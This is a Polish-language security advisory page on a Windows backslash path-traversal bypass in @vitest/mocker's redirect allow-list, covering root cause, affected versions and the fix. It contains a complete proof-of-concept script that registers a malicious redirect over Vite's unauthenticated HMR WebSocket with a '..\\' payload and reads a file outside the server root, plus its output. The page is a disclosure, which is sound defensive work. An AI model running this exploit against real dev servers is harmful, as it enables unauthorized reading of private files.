Średnia

Vitest: Obejście listy dozwolonych przekierowań w @vitest/mocker poprzez znaki ukośnika odwrotnego w systemie Windows

  • Ujawniono: 21.10.2026
  • Aktualizacja: 22.10.2026 10:00

Podsumowanie

Poprawka podatności path traversal wydana dla GHSA-82fw-gwwq-j7x9 może zostać pominięta w systemie Windows poprzez użycie ukośnika odwrotnego (backslash) w ścieżce adresu URL przekierowania.

Poprawiony kod łączy kontrolowaną przez atakującego ścieżkę URL z katalogiem głównym Vite za pomocą node:path/posix, a następnie przekazuje wynikowy ciąg znaków do mechanizmu sprawdzania listy dozwolonych plików Vite. W systemie Windows wartość taka jak C:/project/root/..\secret.txt zachowuje ..\ podczas łączenia POSIX i rozpoczyna się od dozwolonego katalogu głównego, w związku z czym lista dozwolonych ją akceptuje. Późniejsze wywołanie readFile() korzysta z semantyki systemu plików Windows, gdzie ukośnik odwrotny jest separatorem ścieżki, i odczytuje sąsiadujący plik znajdujący się poza skonfigurowanym katalogiem głównym.

Problem został odtworzony na opublikowanych pakietach @vitest/mocker w obu załatanych liniach wydań:

  • @vitest/mocker@4.1.11
  • @vitest/mocker@5.0.0

Kod źródłowy main w commicie 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 wykazuje identyczne zachowanie.

Poprawki

Problem rozwiązano w @vitest/mocker 5.0.3, wydanym 2026-09-30 (PR #11377) oraz backportowano do 4.1.12. Rejestracja przekierowań konwertuje teraz ukośniki odwrotne w ścieżce URL na zwykłe ukośniki przed połączeniem ścieżki z katalogiem głównym, dzięki czemu ..\ rozwiązuje się tak samo jak ../ i weryfikacja listy dozwolonych odrzuca żądanie.

Powiązanie z GHSA-82fw-gwwq-j7x9

Jest to obejście wdrożonej wcześniej poprawki, a nie odrębna ścieżka podatności. Wykorzystuje tę samą rejestrację przekierowań vitest:interceptor:register oraz ten sam mechanizm odczytu plików co pierwotny komunikat. Sekwencja przejścia ze zwykłym ukośnikiem jest odrzucana po poprawce, podczas gdy jej odpowiednik z ukośnikiem odwrotnym w systemie Windows jest akceptowany.

Pierwotny komunikat oznaczał wersje 4.1.11 i 5.0.0-rc.2 jako naprawione. Nowo dotknięte zakresy wersji wynikające z niepełnej poprawki to:

  • 4.1.11
  • >=5.0.0-rc.2, <5.0.3

Starsze podatne wersje pozostają objęte przez GHSA-82fw-gwwq-j7x9.

Przyczyna źródłowa

packages/mocker/src/node/interceptorPlugin.ts importuje join z node:path/posix. Rejestracja przekierowań wykonuje obecnie odpowiednik:

ts
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

Zarejestrowana wartość trafia następnie do:

ts
readFile(mock.redirect, 'utf-8')

Weryfikacja listy dozwolonych Vite oczekuje znormalizowanej, bezwzględnej ścieżki w systemie plików. W systemie Windows łączenie ścieżek metodą POSIX nie normalizuje ukośników odwrotnych, jednak readFile interpretuje je jako separatory. Weryfikacja i docelowe wywołanie odczytu interpretują ten sam ciąg znaków odmiennie.

Uwierzytelniony mechanizm zapasowy browser RPC w packages/browser/src/node/rpc.ts nie jest podatny: łączy ścieżkę za pomocą pathe, co konwertuje ukośniki odwrotne na zwykłe ukośniki przed weryfikacją dostępu. Odtworzenie błędu celuje w publiczną ścieżkę rejestracji WebSocket modułu mocker.

Warunki wstępne i wpływ

Klient mający dostęp sieciowy do serwera Vite za pośrednictwem publicznej rejestracji WebSocket mockerPlugin lub samodzielnej interceptorPlugin może zarejestrować mock przekierowania. W systemie Windows klient może następnie zażądać zarejestrowanego modułu i odczytać plik spoza katalogu server.fs.allow, do którego dostęp posiada konto procesu Vitest/Vite. Tryb Vitest Browser Mode nie rejestruje tych procedur obsługi WebSocket w podatnych wersjach.

Odtworzenie luki korzysta z nieuwierzytelnionego połączenia Vite HMR WebSocket oraz standardowego żądania HTTP GET. Nie wywołuje wewnętrznego API transform wtyczki. Praktyczna dostępność sieciowa odpowiada warunkom wdrożeniowym opisanym w pierwotnym komunikacie; domyślne serwery deweloperskie nasłuchujące wyłącznie na pętli zwrotnej (loopback) są odpowiednio mniej narażone.

Odtworzenie luki

Testowano na maszynie GitHub-hosted z systemem Windows Server 2025 i środowiskiem Node.js 22. Test tworzy wyłącznie tymczasowe pliki syntetyczne: katalog główny Vite oraz sąsiadujący plik secret.txt zawierający wartość kontrolną (canary).

Zainstaluj zależności dla dowolnej z podatnych linii:

bash
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs

poc.mjs:

js
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Wynik zaobserwowany przy @vitest/mocker@4.1.11:

js
{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

Identyczny rezultat zaobserwowano przy @vitest/mocker@5.0.0.

Obejmuje to dwie przydatne próby kontrolne:

  1. traversal:../secret.txt jest odrzucane i zwraca 404, co potwierdza działanie opublikowanej poprawki dla zwykłych ukośników.
  2. traversal:..\secret.txt zwraca 200 oraz dokładną treść pliku kontrolnego spoza katalogu głównego, potwierdzając obejście za pomocą separatora Windows zamiast niepowiązanej trasy lub odpowiedzi statycznej.

Co trzeba zrobić

Zaktualizuj do @vitest/mocker 5.0.3, 4.1.12 lub nowszej wersji. Poprawka konwertuje ukośniki odwrotne w ścieżkach URL na zwykłe ukośniki przed ich połączeniem z katalogiem głównym, co uniemożliwia obejście listy dozwolonych.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm @vitest/mocker >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 4.1.12, 5.0.3

Odnośniki

Ocena CVSS 5.9/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Słabość (CWE)
CWE-22
Platforma
npm
Paczka
@vitest/mocker
Ujawniono
21.10.2026
Aktualizacja
22.10.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-xp26-3454-mjgp - CC BY 4.0

Historia podatności: @vitest/mocker

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
2
Pierwsza → ostatnia
09.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Średnia 2

Ujawnienia w latach

  1. 2026: 2
  1. Vitest: Obejście listy dozwolonych przekierowań w @vitest/mocker poprzez znaki ukośnika odwrotnego w systemie Windows ten wpis
    Średnia · 5.9 CVE-2026-112950 >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 4.1.12, 5.0.3
  2. Średnia · 5.9 CVE-2026-84373 >= 2.1.0, < 4.1.11, >= 5.0.0-beta.1, < 5.0.0-rc.2 4.1.11, 5.0.0-rc.2

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.